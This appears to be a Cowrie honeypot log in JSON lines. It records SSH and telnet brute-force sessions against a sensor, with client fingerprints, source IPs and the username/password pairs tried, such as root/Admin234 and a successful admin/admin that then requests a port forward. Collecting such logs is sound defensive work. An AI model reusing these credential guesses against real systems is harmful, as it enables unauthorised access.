{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:46.544442Z","src_ip":"103.153.68.219","session":"8efe49349f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09041992","message":"login attempt [root/09041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:47.272205Z","src_ip":"103.153.68.219","session":"8efe49349f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:48.516535Z","src_ip":"103.153.68.219","session":"8efe49349f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":59154,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb794cc73d78","protocol":"ssh","message":"New connection: 103.27.238.120:59154 (159.203.135.109:22) [session: eb794cc73d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:57.504718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:57.510231Z","src_ip":"103.27.238.120","session":"eb794cc73d78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:57.771760Z","src_ip":"103.27.238.120","session":"eb794cc73d78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katastrofa","message":"login attempt [root/katastrofa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:58.557079Z","src_ip":"103.27.238.120","session":"eb794cc73d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:51:59.821043Z","src_ip":"103.27.238.120","session":"eb794cc73d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53844,"dst_ip":"10.17.0.5","dst_port":22,"session":"04aea0b08ce9","protocol":"ssh","message":"New connection: 27.71.230.31:53844 (10.17.0.5:22) [session: 04aea0b08ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:02.037997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:02.078667Z","src_ip":"27.71.230.31","session":"04aea0b08ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:02.308057Z","src_ip":"27.71.230.31","session":"04aea0b08ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin234","message":"login attempt [root/Admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:04.600312Z","src_ip":"27.71.230.31","session":"04aea0b08ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:06.221302Z","src_ip":"27.71.230.31","session":"04aea0b08ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58908,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6dbdfe0cfa9","protocol":"ssh","message":"New connection: 80.94.92.184:58908 (10.17.0.5:22) [session: e6dbdfe0cfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:40.048209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:40.665155Z","src_ip":"80.94.92.184","session":"e6dbdfe0cfa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:40.668298Z","src_ip":"80.94.92.184","session":"e6dbdfe0cfa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:43.114048Z","src_ip":"80.94.92.184","session":"e6dbdfe0cfa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:44.289758Z","src_ip":"80.94.92.184","session":"e6dbdfe0cfa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61914,"dst_ip":"10.17.0.5","dst_port":22,"session":"996f9893130e","protocol":"ssh","message":"New connection: 87.251.64.176:61914 (10.17.0.5:22) [session: 996f9893130e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.153345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.157850Z","src_ip":"87.251.64.176","session":"996f9893130e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.251815Z","src_ip":"87.251.64.176","session":"996f9893130e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.531042Z","src_ip":"87.251.64.176","session":"996f9893130e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.628671Z","session":"996f9893130e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.723740Z","src_ip":"87.251.64.176","session":"996f9893130e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:52:51.840196Z","src_ip":"87.251.64.176","session":"996f9893130e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54926,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa9ee3c0da2","protocol":"ssh","message":"New connection: 27.71.230.31:54926 (159.203.135.109:22) [session: 3fa9ee3c0da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:19.690068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:19.748881Z","src_ip":"27.71.230.31","session":"3fa9ee3c0da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:20.237137Z","src_ip":"27.71.230.31","session":"3fa9ee3c0da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin234","message":"login attempt [root/Admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:24.072495Z","src_ip":"27.71.230.31","session":"3fa9ee3c0da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:25.332676Z","src_ip":"27.71.230.31","session":"3fa9ee3c0da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"43935225fea1","protocol":"telnet","message":"New connection: 132.148.22.172:57380 (10.17.0.5:23) [session: 43935225fea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:35.205538Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f2caa5b9d36","protocol":"ssh","message":"New connection: 176.32.39.21:35428 (159.203.135.109:22) [session: 9f2caa5b9d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:53.180372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:53.184557Z","src_ip":"176.32.39.21","session":"9f2caa5b9d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:53.305705Z","src_ip":"176.32.39.21","session":"9f2caa5b9d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123asd123","message":"login attempt [root/qwe123asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:53.674618Z","src_ip":"176.32.39.21","session":"9f2caa5b9d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:53:54.832857Z","src_ip":"176.32.39.21","session":"9f2caa5b9d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86259150505066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:06.068057Z","src_ip":"132.148.22.172","session":"43935225fea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50876,"dst_ip":"10.17.0.5","dst_port":23,"session":"911ad4aa43f3","protocol":"telnet","message":"New connection: 172.81.62.90:50876 (10.17.0.5:23) [session: 911ad4aa43f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:20.224287Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":44436,"dst_ip":"159.203.135.109","dst_port":22,"session":"97c789ebcaa1","protocol":"ssh","message":"New connection: 103.149.28.157:44436 (159.203.135.109:22) [session: 97c789ebcaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:30.569018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:30.574301Z","src_ip":"103.149.28.157","session":"97c789ebcaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:30.823708Z","src_ip":"103.149.28.157","session":"97c789ebcaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10091983","message":"login attempt [root/10091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:54:31.575580Z","src_ip":"103.149.28.157","session":"97c789ebcaa1","protocol":"ssh"}
